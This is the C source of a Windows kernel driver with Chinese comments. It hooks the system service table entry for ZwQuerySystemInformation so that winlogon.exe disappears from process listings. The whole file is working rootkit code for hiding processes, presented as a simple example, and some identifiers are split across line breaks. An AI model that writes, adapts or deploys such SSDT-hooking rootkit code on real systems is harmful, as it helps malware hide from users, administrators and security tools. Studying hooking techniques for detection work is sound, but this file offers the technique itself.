进程的深度隐藏
查找进程操作系统最终调用native api ZwQuerySystemInformation,
因此拦截此函数可以达到隐藏进程的目的。
*********************************************************/
/*********************************************************
参考
<隐藏任意进程,目录/文件,注册表,端口> sinister whitecell
<再谈Windows NT_2000内部数据结构> webcrazy
regmon source code www.sysinternals.com
*********************************************************/
/*********************************************************
这仅仅是一个简单的例子,
load该驱动后winlogon进程被隐藏
*********************************************************/
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
//----------------------------------------------------------------------
// DEFINES
//----------------------------------------------------------------------
#if DBG
#define DbgPrint(arg) DbgPrint arg
#else
#define DbgPrint(arg)
#endif
//
//32768-65535 are reserved for use by customers
//
#define FILE_DEVICE_PROCESSHIDE 0x00008306
//
//available only on x86 now
//
#define SYSCALL(_function) ServiceTable->ServiceTable[ *(PULONG)((PUCHAR)_fun
ction+1)]
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef int BOOL;
//
//structure unopen, parameter into ZwQueryDirectoryFile routine.
//God bless me it will not be changed.ms is shit...
//
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
//
// Definition for system call service table
//
typedef struct _SRVTABLE {
PVOID *ServiceTable;
ULONG LowCall;
ULONG HiCall;
PVOID *ArgTable;
} SRVTABLE, *PSRVTABLE;
NTSTATUS (*RealZwQuerySystemInformation)(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
//----------------------------------------------------------------------
// GLOBALS
//----------------------------------------------------------------------
//
// Pointer to system global service table
//
PSRVTABLE ServiceTable;
extern PSRVTABLE KeServiceDescriptorTable;
PDEVICE_OBJECT ControlDeviceObject;
//----------------------------------------------------------------------
// FORWARD DEFINES
//----------------------------------------------------------------------
NTSTATUS ProcesshideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp );
VOID ProcesshideUnload( IN PDRIVER_OBJECT DriverObject );
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
//======================================================================
// H O O K R O U T I N E S
//======================================================================
//----------------------------------------------------------------------
//
// HookZwQueryDirectoryFile
//
//----------------------------------------------------------------------
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
ANSI_STRING process_name,process_uname,process_name1,process_name2;
BOOL g_hide_proc = TRUE;
CHAR aProcessName[80];
char aWinlogon[] = "winlogon.exe";
int found;
// 执行旧的ZwQuerySystemInformation函数
rc =(RealZwQuerySystemInformation)(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if(NT_SUCCESS(rc))
{
if( g_hide_proc && (5 == SystemInformationClass))
{
// 将查找出来结果赋给结构
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES
*)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
// 遍历进程
while(curr)
{
RtlUnicodeStringToAnsiString(&process_name,
&curr->ProcessName, TRUE);
if((0 < process_name.Length) && (255 > process_name.Length))
{
found=0;
if (RtlCompareMemory(process_name.Buff
er,aWinlogon,strlen(aWinlogon)) == strlen(aWinlogon))
{
found =1;
}
// 判断如果是隐藏进程名则覆盖掉此进程名
while(found)
{
if(prev)
{
if(curr->NextEntryDelta)
{
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
(char *)SystemInformation +=
curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(curr->NextEntryDelta)
{
(char *)curr +=
curr->NextEntryDelta;
}
else
{
curr = NULL;
break;
}
// 遍历链表
found = 0;
RtlUnicodeStringToAnsiString(&
process_name, &curr->ProcessName, TRUE);
if (RtlCompareMemory(process_n
ame.Buffer,aWinlogon,strlen(aWinlogon)) == strlen(aWinlogon))
{
found = 1;
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta) ((char
*)curr += curr->NextEntryDelta);
else curr = NULL;
}
RtlFreeAnsiString(&process_name);
}
}
}
return(rc);
}
//----------------------------------------------------------------------
//
// HookRegistry
//
// Replaces entries in the system service table with pointers to
// our own hook routines. We save off the real routine addresses.
//
//----------------------------------------------------------------------
VOID HookSystemCall( void )
{
//
// Hook everything
//
RealZwQuerySystemInformation = SYSCALL( ZwQuerySystemInformation );
SYSCALL( ZwQuerySystemInformation ) = (PVOID) HookZwQuerySystemInforma
tion;
}
//----------------------------------------------------------------------
//
// UnhookZwQueryDirectoryFile
//
//----------------------------------------------------------------------
VOID UnhookSystemCall( )
{
//
// Unhook everything
//
SYSCALL( ZwQuerySystemInformation ) = (PVOID) RealZwQuerySystemInformation
;
}
//----------------------------------------------------------------------
//
// FilehideDispatch
//
//----------------------------------------------------------------------
NTSTATUS ProcesshideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PIO_STACK_LOCATION irpStack;
//
// Go ahead and set the request up as successful
//
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
//
// Get a pointer to the current location in the Irp. This is where
// the function codes and parameters are located.
//
irpStack = IoGetCurrentIrpStackLocation (Irp);
switch (irpStack->MajorFunction) {
case IRP_MJ_CREATE:
DbgPrint(("Processhide: IRP_MJ_CREATE\n"));
break;
case IRP_MJ_SHUTDOWN:
DbgPrint(("Processhide: IRP_MJ_CREATE\n"));
break;
case IRP_MJ_CLOSE:
DbgPrint(("Processhide: IRP_MJ_CLOSE\n"));
break;
case IRP_MJ_DEVICE_CONTROL:
DbgPrint (("Processhide: IRP_MJ_DEVICE_CONTROL\n"));
break;
}
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
//----------------------------------------------------------------------
//
// RegmonUnload
//
// Our job is done - time to leave.
//
//----------------------------------------------------------------------
VOID ProcesshideUnload( IN PDRIVER_OBJECT DriverObject )
{
WCHAR deviceLinkBuffer[] = L"\\DosDevices\\Processhide"
;
UNICODE_STRING deviceLinkUnicodeString;
DbgPrint(("Processhide.SYS: unloading\n"));
//
// Unhook the registry
//
UnhookSystemCall();
//
// Delete the symbolic link for our device
//
RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
//
// Delete the device object
//
IoDeleteDevice( DriverObject->DeviceObject );
DbgPrint(("Processhide.SYS: deleted devices\n"));
}
//----------------------------------------------------------------------
//
// DriverEntry
//
// Installable driver initialization. Here we just set ourselves up.
//
//----------------------------------------------------------------------
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING
RegistryPath )
{
NTSTATUS ntStatus;
WCHAR deviceNameBuffer[] = L"\\Device\\Processhide";
UNICODE_STRING deviceNameUnicodeString;
WCHAR deviceLinkBuffer[] = L"\\DosDevices\\Processhide"
;
UNICODE_STRING deviceLinkUnicodeString;
DbgPrint (("Processhide.SYS: entering DriverEntry\n"));
//
// Setup our name and symbolic link
//
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
ntStatus = IoCreateDevice ( DriverObject,
0,
&deviceNameUnicodeString,
FILE_DEVICE_PROCESSHIDE,
0,
TRUE,
&ControlDeviceObject );
if (NT_SUCCESS(ntStatus)) {
//
// Create a symbolic link that the GUI can specify to gain access
// to this driver/device
//
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );
//
// Create dispatch points for all routines that must be handled
//
DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
ProcesshideDispatch;
#if DBG
DriverObject->DriverUnload =
ProcesshideUnload;
#endif
}
if (!NT_SUCCESS(ntStatus)) {
DbgPrint(("Processhide: Failed to create our device!\n"));
//
// Something went wrong, so clean up (free resources etc)
//
if( ControlDeviceObject ) IoDeleteDevice( ControlDeviceObject );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
return ntStatus;
}
//
// Pointer to system table data structure is an NTOSKRNL export
//
ServiceTable = KeServiceDescriptorTable;
DbgPrint(("Processhide: Servicetable: %x\n", ServiceTable ));
HookSystemCall();
DbgPrint(("Processhide: Hook System Call"));
return STATUS_SUCCESS;
}
--